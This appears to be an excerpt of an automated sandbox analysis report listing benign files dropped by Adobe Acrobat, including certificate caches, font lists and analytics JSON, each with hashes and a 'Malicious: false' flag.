Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.745945613111056
Encrypted:	false
SSDEEP:	3:kkFklFTcpk3/tfllXlE/HT8kplzXNNX8RolJuRdxLlGB9lQRYwpDdt:kKzpM/eT8slRNMa8RdWBwRd
MD5:	23A33245BF29188ADD61AFE797735D0C
SHA1:	D01DE39A14E3FC1F0EE3237769B28C8F7C01B714
SHA-256:	6F29AFD7E41CEBDB36F0AA1535174A0B6CDD3E46F82026D028FB8ED18C02E73E
SHA-512:	5A4BBE04AE4D8BD7D59E40A787A62D1061F72EA5B40E9AAE3CD2D539CEB5A296D641A5FA2F2B23F5231BDAB1D6BF629EF403BE2075A6997A972794F990E446BB
Malicious:	false
Preview:	p...... ........6L.Q.c..(....................................................... ..........W....................o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.2368928658074476
Encrypted:	false
SSDEEP:	6:kK7GL/L9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:KDiDImsLNkPlE99SNxAhUe/3
MD5:	F69FFE9FCECC9B3327863641C5D1CD19
SHA1:	C0F73BAB483FB57C2CE253FE11A62FFA69175879
SHA-256:	BD8B029F22706A4274D9E4426ABD05D504D97CBC38A737BA2ABA8DBDEE05BA5F
SHA-512:	4150B98947B30941FBDC0888BABB2BE1AA0D0CC2E67DD5EA52BE8AA4401FE177777368A7CEFFF249B008260F7597E5E1E9E2F9FC0691ED2B89CC145ABD594799
Malicious:	false
Preview:	p...... .........-.v.c..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.1712

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.1712

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.385442791812218
Encrypted:	false
SSDEEP:	6:YEQXJ2HXoq/GDtVwQdhlzFkF0Yg34oAvJM3g98kUwPeUkwRe9:YvXKXYDHZnGMbLUkee9
MD5:	180C76F2137C4D474BA2C967DAD0881C
SHA1:	637042C99C87C52B63783968A77FC83EB0EB427C
SHA-256:	3ACE133DFB66CEF63EA58953F45872844F6F7783B4209CDAE5E6BC25273AC01B
SHA-512:	7E1F2B46FE7599044846A81DF544854803CB8C0A640488EDB90F52A014B2793732F399A0D7E65826D582F5E39B817DF4DCFE399D825E2D20C7DC14CE53D2C8AD
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b128e592-b343-43d8-898d-48a989b14599","sophiaUUID":"0515ACAE-DCC7-4733-8101-9751FF724CB9"},"encodingScheme":true,"expirationDTS":1736702615097,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.328936854912211
Encrypted:	false
SSDEEP:	6:YEQXJ2HXoq/GDtVwQdhlzFkF0Yg34oAvJfBoTfXpnrPeUkwRe9:YvXKXYDHZnGWTfXcUkee9
MD5:	2641711328D904AE499B4DA09D6D43F0
SHA1:	621D7D27CABB03D67D099E87D50CD290EFBDA994
SHA-256:	4488251BDA2404AFA0D6FE86572A043468DDA4DBB6B827D985BD3CC3D77E8920
SHA-512:	9C97E1071EC1C077ED8042E3F309C34AF92095D1A72D4DEAEF4C83BD0BA227EDA3A7E7E39C321BB350C23E6BC5AA2E2AF7A69B1DEFE8765FB1E376D5F60B3B71
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b128e592-b343-43d8-898d-48a989b14599","sophiaUUID":"0515ACAE-DCC7-4733-8101-9751FF724CB9"},"encodingScheme":true,"expirationDTS":1736702615097,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.308134602881416
Encrypted:	false
SSDEEP:	6:YEQXJ2HXoq/GDtVwQdhlzFkF0Yg34oAvJfBD2G6UpnrPeUkwRe9:YvXKXYDHZnGR22cUkee9
MD5:	8F8300A136BE1A2006496256B0972E42
SHA1:	59C36A9B6534F0826EAFEA9DAD88B1D2C02B53F0
SHA-256:	7A8C4348E7AA957301CB947505BBB43AAAA66E19C6283E1ED90D2000559A08E1
SHA-512:	50581B0926A439E8E98EBDC24CE205646658C7B9CD88890DE323EF4BD223A061FC5FF25E6D3EBD4D501FFCF8D2DFD9CB3E81D583D82886DF255A895A14875754
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b128e592-b343-43d8-898d-48a989b14599","sophiaUUID":"0515ACAE-DCC7-4733-8101-9751FF724CB9"},"encodingScheme":true,"expirationDTS":1736702615097,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.366357291112348
Encrypted:	false
SSDEEP:	6:YEQXJ2HXoq/GDtVwQdhlzFkF0Yg34oAvJfPmwrPeUkwRe9:YvXKXYDHZnGH56Ukee9
MD5:	2C6F49D2B3B1F41D2833D4BE9AE6526E
SHA1:	E83081AFF006EC636F6082BADA4FBE7CF5968179
SHA-256:	C1F493B070AC57FC28CC48EEC0097360D76EC9557CABE969671B220D7482BC7C
SHA-512:	5EE81B2DD952E6A4BCB2A05B68769B6F43E029960B0EC20877FFDF4B4CE37B024705876238E61139A22A90DA0BFAB43037FA16DA8EC66A590DA53C9E14E81B50
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b128e592-b343-43d8-898d-48a989b14599","sophiaUUID":"0515ACAE-DCC7-4733-8101-9751FF724CB9"},"encodingScheme":true,"expirationDTS":1736702615097,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.69410373340144
Encrypted:	false
SSDEEP:	24:Yv6XYDHZspLgE9cQx8LennAvzBvkn0RCmK8czOCCSk:Yv7HZshgy6SAFv5Ah8cv/k
MD5:	12F1AF022C2E92CADCBD7F90BCBFC4D5
SHA1:	8C4792EC709C2AD8C454DD24787222FFEA7BC1A5
SHA-256:	345D9A378CEB7A96064BA304453AA79266047330E68EA7E6963FF7213F2B5B89
SHA-512:	AB23B437E3BC13BC68C933B077EA77ACFE426FF7080C11C4ED017608B877855C6DFAB2E44F0899D84470EE4E891BB401B675EE774C0EAC204902A59C58462790
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b128e592-b343-43d8-898d-48a989b14599","sophiaUUID":"0515ACAE-DCC7-4733-8101-9751FF724CB9"},"encodingScheme":true,"expirationDTS":1736702615097,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.3192405827449525
Encrypted:	false
SSDEEP:	6:YEQXJ2HXoq/GDtVwQdhlzFkF0Yg34oAvJf8dPeUkwRe9:YvXKXYDHZnGU8Ukee9
MD5:	C7F6FC02B112C0653C0CE3652549B29C
SHA1:	44594FC090E2728B1998953C5177303FF89CA40C
SHA-256:	5889CBE6082CC2115BCFB6E60D0BC8745C24DAE121AA451D5E6B0ABDEFBF0636
SHA-512:	8BDA5386E3CA36BF00BC8B90A29B49B4CD67D68E55676515BE644484BFE8D409F68802C6575020A5C1ADD5DB77F45267E801D0DBF6FE598C70F54445F5B6E73E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b128e592-b343-43d8-898d-48a989b14599","sophiaUUID":"0515ACAE-DCC7-4733-8101-9751FF724CB9"},"encodingScheme":true,"expirationDTS":1736702615097,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.317412875785024
Encrypted:	false
SSDEEP:	6:YEQXJ2HXoq/GDtVwQdhlzFkF0Yg34oAvJfQ1rPeUkwRe9:YvXKXYDHZnGY16Ukee9
MD5:	26ADC7B5FA27D9DD2055295914300412
SHA1:	49313BA1271C78420C1B215E6C6175F2ED18EA2F
SHA-256:	192087FAD4327B57C9AEADB89A7C1ADB22FC6BC563A50C6FCE6F7C2244082BDA
SHA-512:	5222D6278026B750FD2AFB62F4A7296700152996EB2FBEC3B3E16C80A53EB65FDAFB8209D40DE8BCE36AEC70100D2DBE075A00AC3C5A737CB6E3DF53EE20F0FE
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b128e592-b343-43d8-898d-48a989b14599","sophiaUUID":"0515ACAE-DCC7-4733-8101-9751FF724CB9"},"encodingScheme":true,"expirationDTS":1736702615097,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.3300998801553305
Encrypted:	false
SSDEEP:	6:YEQXJ2HXoq/GDtVwQdhlzFkF0Yg34oAvJfFldPeUkwRe9:YvXKXYDHZnGz8Ukee9
MD5:	CCB2B6BCABC9561CD70093C5A360B17B
SHA1:	D6AF649DF35A350967C5C6E45C7800A194B73C42
SHA-256:	B4A32B501F490F140444F870BD67AC950F8C41C42FFD1C15AA662C3D101E804D
SHA-512:	DA2BD458049B899D0A9838F935BC8A13D5026B29EB1ABFC2DF6C527565297474B9CC3CAF1EBD60BC8996505C7006AF4217231282ECE17ADD461B739E4F423259
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b128e592-b343-43d8-898d-48a989b14599","sophiaUUID":"0515ACAE-DCC7-4733-8101-9751FF724CB9"},"encodingScheme":true,"expirationDTS":1736702615097,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.343909695774574
Encrypted:	false
SSDEEP:	6:YEQXJ2HXoq/GDtVwQdhlzFkF0Yg34oAvJfzdPeUkwRe9:YvXKXYDHZnGb8Ukee9
MD5:	B50E0A53D765E5AE7771EA567832B326
SHA1:	1E85FBF3D5F9333EA6845152FD690A8524B2D1F4
SHA-256:	340830CEE6A6BD3C3A94D3BF88F8BFAF8FE57A1FF344DD6721CD3B871F610E05
SHA-512:	3141FF7060F3451F8E91AF5A3005EB3EE9D98F7C6E969612D388AAA39A7C7BEF17D5D679BBD4B171671942C200E83C4B378B2BC8A5B9E0688E260FF9C65F4EF7
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b128e592-b343-43d8-898d-48a989b14599","sophiaUUID":"0515ACAE-DCC7-4733-8101-9751FF724CB9"},"encodingScheme":true,"expirationDTS":1736702615097,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.324769227564477
Encrypted:	false
SSDEEP:	6:YEQXJ2HXoq/GDtVwQdhlzFkF0Yg34oAvJfYdPeUkwRe9:YvXKXYDHZnGg8Ukee9
MD5:	D366460D700F0A7F014F93EE447DBE79
SHA1:	E4E1957925698C69ADDBB48DF6461C5E934509F2
SHA-256:	72D1A027C611F52E4449A34BA6B97A5AAE535F7644FEFDC6596C2C57726EC6B6
SHA-512:	2F14EB9F1DD2D0AA7C52B4DA9B08625E6751D6A74DEAF759E7C574228B36515E91360A8C239C63B4AD7D97E9CE4BA431696668EB76A795D0A7C0014FA9EA2CA9
Malicious:	false
